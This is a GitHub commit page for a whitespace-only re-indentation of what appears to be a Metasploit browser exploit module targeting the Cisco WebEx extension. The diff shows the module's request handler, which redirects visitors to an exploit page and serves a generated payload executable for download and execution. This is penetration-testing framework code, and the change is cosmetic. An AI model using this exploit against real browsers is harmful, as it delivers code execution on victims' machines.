Skip to content

Commit

Permalink
Module indentation was wrong
Browse files Browse the repository at this point in the history
  • Loading branch information
nrathaus committed Mar 30, 2024
1 parent 4ecd106 commit e75043f
Showing 1 changed file with 29 additions and 29 deletions.
58 changes: 29 additions & 29 deletions modules/exploits/windows/browser/cisco_webex_ext.rb
Original file line number Diff line number Diff line change
Expand Up @@ -44,17 +44,17 @@ def initialize(info={})
'DisclosureDate' => '2017-01-21',
'DefaultTarget' => 0
))
end
end

def setup
@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
@payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe"
super
end
def setup
@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
@payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe"
super
end

def exploit_html(cli, req_uri)
base_uri = "#{get_resource.chomp('/')}"
html = %Q~
def exploit_html(cli, req_uri)
base_uri = "#{get_resource.chomp('/')}"
html = %Q~
<html>
<head>
<script>
Expand Down Expand Up @@ -93,25 +93,25 @@ def exploit_html(cli, req_uri)
</html>
~

send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
end
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
end

def on_request_uri(cli, request)
print_status("Got request: #{request.uri}")
print_status("From: #{request.headers['User-Agent']}")
def on_request_uri(cli, request)
print_status("Got request: #{request.uri}")
print_status("From: #{request.headers['User-Agent']}")

if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/
print_status("Sending exploit html ...")
exploit_html(cli, request.uri)
close_client(cli)
return
elsif request.uri =~ /.*#{@payload_uri}$/
return if ((payload = regenerate_payload(cli)) == nil)
print_status("Sending payload ...")
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
else
base_uri = "#{get_resource.chomp('/')}"
html = %Q~
if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/
print_status("Sending exploit html ...")
exploit_html(cli, request.uri)
close_client(cli)
return
elsif request.uri =~ /.*#{@payload_uri}$/
return if ((payload = regenerate_payload(cli)) == nil)
print_status("Sending payload ...")
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
else
base_uri = "#{get_resource.chomp('/')}"
html = %Q~
<html>
<head>
<meta http-equiv="refresh" content="0; URL='#{get_resource}/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html' />"
Expand All @@ -120,8 +120,8 @@ def on_request_uri(cli, request)
</body>
</html>
~
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
close_client(cli)
end
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
close_client(cli)
end
end
end

0 comments on commit e75043f

Please sign in to comment.